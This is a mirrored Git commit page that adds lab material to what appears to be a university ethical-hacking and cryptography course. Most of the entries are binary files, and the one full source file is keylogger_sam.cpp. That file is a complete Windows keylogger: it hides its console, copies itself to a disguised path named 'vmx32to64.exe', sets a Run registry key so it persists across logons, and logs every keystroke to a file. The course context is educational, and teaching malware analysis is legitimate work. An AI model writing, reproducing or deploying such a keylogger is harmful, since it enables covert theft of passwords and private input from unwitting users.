mirror of
https://github.com/frankwxu/Ubalt.git
synced 2026-02-20 13:40:42 +00:00
add FSCS630 lab
This commit is contained in:
BIN
EthicalHacking/Labs/CrackPassword/Windows8_password.pptx
Normal file
BIN
EthicalHacking/Labs/CrackPassword/Windows8_password.pptx
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z
Normal file
BIN
EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf
Normal file
BIN
EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
1
EthicalHacking/Labs/HackExeImmunity/link.TXT
Normal file
1
EthicalHacking/Labs/HackExeImmunity/link.TXT
Normal file
@@ -0,0 +1 @@
|
||||
https://samsclass.info/127/127_S18.shtml#projects
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
EthicalHacking/Labs/Keylogger/VS/bintext.exe
Normal file
BIN
EthicalHacking/Labs/Keylogger/VS/bintext.exe
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx
Normal file
BIN
EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z
Normal file
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z
Normal file
Binary file not shown.
132
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp
Normal file
132
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp
Normal file
@@ -0,0 +1,132 @@
|
||||
#define _WIN32_WINNT 0x0500
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
|
||||
#pragma comment(lib, "User32.lib")
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
|
||||
/* Based on https://github.com/EgeBalci/Keylogger */
|
||||
|
||||
using namespace std;
|
||||
|
||||
char logfile[] = "log.txt";
|
||||
|
||||
char oldfile[] = "keylogger_sam.exe";
|
||||
char newfile[] = "C:\\Logs\\vmx32to64.exe";
|
||||
|
||||
void LOG(string input) {
|
||||
fstream LogFile;
|
||||
LogFile.open(logfile, fstream::app);
|
||||
if (LogFile.is_open()) {
|
||||
LogFile << input;
|
||||
LogFile.close();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool SpecialKeys(int S_Key) {
|
||||
switch (S_Key) {
|
||||
case VK_SPACE:
|
||||
cout << " ";
|
||||
LOG(" ");
|
||||
return true;
|
||||
case VK_RETURN:
|
||||
cout << "\n";
|
||||
LOG("\n");
|
||||
return true;
|
||||
case VK_OEM_PERIOD:
|
||||
cout << ".";
|
||||
LOG(".");
|
||||
return true;
|
||||
case VK_SHIFT:
|
||||
cout << "#SHIFT#";
|
||||
LOG("#SHIFT#");
|
||||
return true;
|
||||
case VK_BACK:
|
||||
cout << "\b";
|
||||
LOG("\b");
|
||||
return true;
|
||||
case VK_RBUTTON:
|
||||
cout << "#R_CLICK#";
|
||||
LOG("#R_CLICK#");
|
||||
return true;
|
||||
case VK_CAPITAL:
|
||||
cout << "#CAPS_LOCK#";
|
||||
LOG("#CAPS_LOCK");
|
||||
return true;
|
||||
case VK_TAB:
|
||||
cout << "#TAB";
|
||||
LOG("#TAB");
|
||||
return true;
|
||||
case VK_UP:
|
||||
cout << "#UP";
|
||||
LOG("#UP_ARROW_KEY");
|
||||
return true;
|
||||
case VK_DOWN:
|
||||
cout << "#DOWN";
|
||||
LOG("#DOWN_ARROW_KEY");
|
||||
return true;
|
||||
case VK_LEFT:
|
||||
cout << "#LEFT";
|
||||
LOG("#LEFT_ARROW_KEY");
|
||||
return true;
|
||||
case VK_RIGHT:
|
||||
cout << "#RIGHT";
|
||||
LOG("#RIGHT_ARROW_KEY");
|
||||
return true;
|
||||
case VK_CONTROL:
|
||||
cout << "#CONTROL";
|
||||
LOG("#CONTROL");
|
||||
return true;
|
||||
case VK_MENU:
|
||||
cout << "#ALT";
|
||||
LOG("#ALT");
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
ShowWindow(GetConsoleWindow(), SW_HIDE);
|
||||
char KEY = 'x';
|
||||
|
||||
/* COPY PROGRAM TO MISLEADING LOCATION */
|
||||
CopyFile(oldfile, newfile, FALSE);
|
||||
|
||||
/* CREATE RUN KEY IN REGISTRY */
|
||||
|
||||
TCHAR runPath[35] = TEXT("C:\\Logs\\vmx32to64.exe");
|
||||
HKEY newValue;
|
||||
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
|
||||
RegSetValueEx(newValue,"vmx32to64",0,REG_SZ,(LPBYTE)runPath,sizeof(runPath));
|
||||
RegCloseKey(newValue);
|
||||
|
||||
while (true) {
|
||||
Sleep(10);
|
||||
for (int KEY = 8; KEY <= 190; KEY++)
|
||||
{
|
||||
if (GetAsyncKeyState(KEY) == -32767) {
|
||||
if (SpecialKeys(KEY) == false) {
|
||||
|
||||
fstream LogFile;
|
||||
LogFile.open(logfile, fstream::app);
|
||||
if (LogFile.is_open()) {
|
||||
LogFile << char(KEY);
|
||||
LogFile.close();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe
Normal file
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj
Normal file
BIN
EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj
Normal file
Binary file not shown.
Binary file not shown.
BIN
EthicalHacking/Labs/Keylogger/minGW/keylogger.obj
Normal file
BIN
EthicalHacking/Labs/Keylogger/minGW/keylogger.obj
Normal file
Binary file not shown.
Binary file not shown.
BIN
EthicalHacking/Labs/Malwarelabs/PracticalMalwareAnalysis-Labs.7z
Normal file
BIN
EthicalHacking/Labs/Malwarelabs/PracticalMalwareAnalysis-Labs.7z
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/Malwarelabs/VM_for_MalwareLabs.pptx
Normal file
BIN
EthicalHacking/Labs/Malwarelabs/VM_for_MalwareLabs.pptx
Normal file
Binary file not shown.
BIN
EthicalHacking/Labs/Malwarelabs/~$VM_for_MalwareLabs.pptx
Normal file
BIN
EthicalHacking/Labs/Malwarelabs/~$VM_for_MalwareLabs.pptx
Normal file
Binary file not shown.
Binary file not shown.
BIN
FSCS630_Cryptography/labs/00_Number_System/binary.ppt
Normal file
BIN
FSCS630_Cryptography/labs/00_Number_System/binary.ppt
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user